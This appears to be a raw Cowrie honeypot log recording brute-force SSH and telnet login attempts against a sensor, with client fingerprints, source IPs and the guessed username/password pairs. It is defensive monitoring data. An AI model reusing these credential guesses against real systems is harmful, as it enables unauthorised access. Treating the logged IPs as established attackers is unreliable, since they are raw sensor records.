{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:38.814978Z","src_ip":"146.190.154.85","session":"b59fddbb3915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skyline","password":"123456","message":"login attempt [skyline/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:39.153049Z","src_ip":"146.190.154.85","session":"b59fddbb3915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:40.230587Z","src_ip":"146.190.154.85","session":"b59fddbb3915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.92128014564514,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:40.324096Z","src_ip":"170.64.224.25","session":"b0a59b4645e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":35444,"dst_ip":"159.203.135.109","dst_port":22,"session":"de449857e099","protocol":"ssh","message":"New connection: 159.65.58.200:35444 (159.203.135.109:22) [session: de449857e099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:42.494691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:42.721704Z","src_ip":"159.65.58.200","session":"de449857e099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:42.724298Z","src_ip":"159.65.58.200","session":"de449857e099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scheinas","password":"123456","message":"login attempt [scheinas/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:44.038808Z","src_ip":"159.65.58.200","session":"de449857e099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:45.428179Z","src_ip":"159.65.58.200","session":"de449857e099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09966492652893,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:51.149457Z","src_ip":"170.64.224.25","session":"782b1151f738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":48452,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bc9c47a06da","protocol":"ssh","message":"New connection: 182.93.7.194:48452 (159.203.135.109:22) [session: 1bc9c47a06da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:58.854871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:58.858646Z","src_ip":"182.93.7.194","session":"1bc9c47a06da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:59.073904Z","src_ip":"182.93.7.194","session":"1bc9c47a06da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albums","password":"albums123","message":"login attempt [albums/albums123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:07:59.969056Z","src_ip":"182.93.7.194","session":"1bc9c47a06da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:01.188762Z","src_ip":"182.93.7.194","session":"1bc9c47a06da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.8366117477417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:04.418408Z","src_ip":"170.64.224.25","session":"5afe82379d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40936,"dst_ip":"159.203.135.109","dst_port":23,"session":"f96c62763811","protocol":"telnet","message":"New connection: 170.64.224.25:40936 (159.203.135.109:23) [session: f96c62763811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:12.943220Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":44396,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c06a8085459","protocol":"ssh","message":"New connection: 173.236.141.65:44396 (10.17.0.5:22) [session: 8c06a8085459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:17.657627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:17.661073Z","src_ip":"173.236.141.65","session":"8c06a8085459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:17.671714Z","src_ip":"173.236.141.65","session":"8c06a8085459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taiko2024","message":"login attempt [root/taiko2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:17.704251Z","src_ip":"173.236.141.65","session":"8c06a8085459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:18.716758Z","src_ip":"173.236.141.65","session":"8c06a8085459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":38598,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a5f0670b9c5","protocol":"ssh","message":"New connection: 162.214.5.224:38598 (159.203.135.109:22) [session: 6a5f0670b9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:20.515547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:20.521967Z","src_ip":"162.214.5.224","session":"6a5f0670b9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:20.614936Z","src_ip":"162.214.5.224","session":"6a5f0670b9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kathleen","password":"Tezos@S3cur3#P@ssw0rd","message":"login attempt [kathleen/Tezos@S3cur3#P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:20.888345Z","src_ip":"162.214.5.224","session":"6a5f0670b9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:21.981666Z","src_ip":"162.214.5.224","session":"6a5f0670b9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":55176,"dst_ip":"10.17.0.5","dst_port":22,"session":"74059bd75a1c","protocol":"ssh","message":"New connection: 38.242.143.220:55176 (10.17.0.5:22) [session: 74059bd75a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:34.274788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:34.278849Z","src_ip":"38.242.143.220","session":"74059bd75a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:34.379295Z","src_ip":"38.242.143.220","session":"74059bd75a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thegraph","password":"graph456","message":"login attempt [thegraph/graph456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:34.682192Z","src_ip":"38.242.143.220","session":"74059bd75a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:35.798779Z","src_ip":"38.242.143.220","session":"74059bd75a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44272,"dst_ip":"159.203.135.109","dst_port":23,"session":"837cd6a2486f","protocol":"telnet","message":"New connection: 170.64.224.25:44272 (159.203.135.109:23) [session: 837cd6a2486f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:39.529518Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":51908,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c668704c75","protocol":"telnet","message":"New connection: 107.150.146.69:51908 (10.17.0.5:23) [session: 22c668704c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:47.847892Z"}
{"eventid":"cowrie.session.closed","duration":35.94242596626282,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:48.885514Z","src_ip":"170.64.224.25","session":"f96c62763811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48908,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7258701e0e7","protocol":"telnet","message":"New connection: 170.64.224.25:48908 (159.203.135.109:23) [session: f7258701e0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:51.175293Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51414,"dst_ip":"159.203.135.109","dst_port":23,"session":"020ac3d07260","protocol":"telnet","message":"New connection: 170.64.224.25:51414 (159.203.135.109:23) [session: 020ac3d07260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:08:58.445090Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":32908,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb2036270ae1","protocol":"ssh","message":"New connection: 91.92.40.4:32908 (10.17.0.5:22) [session: fb2036270ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:16.094704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:16.098221Z","src_ip":"91.92.40.4","session":"fb2036270ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:16.179540Z","src_ip":"91.92.40.4","session":"fb2036270ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:16.426521Z","src_ip":"91.92.40.4","session":"fb2036270ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:17.511163Z","src_ip":"91.92.40.4","session":"fb2036270ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":50700,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e89a6c87bc","protocol":"ssh","message":"New connection: 162.241.239.241:50700 (159.203.135.109:22) [session: 10e89a6c87bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:20.136750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:20.143726Z","src_ip":"162.241.239.241","session":"10e89a6c87bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:20.170826Z","src_ip":"162.241.239.241","session":"10e89a6c87bc","protocol":"ssh"}
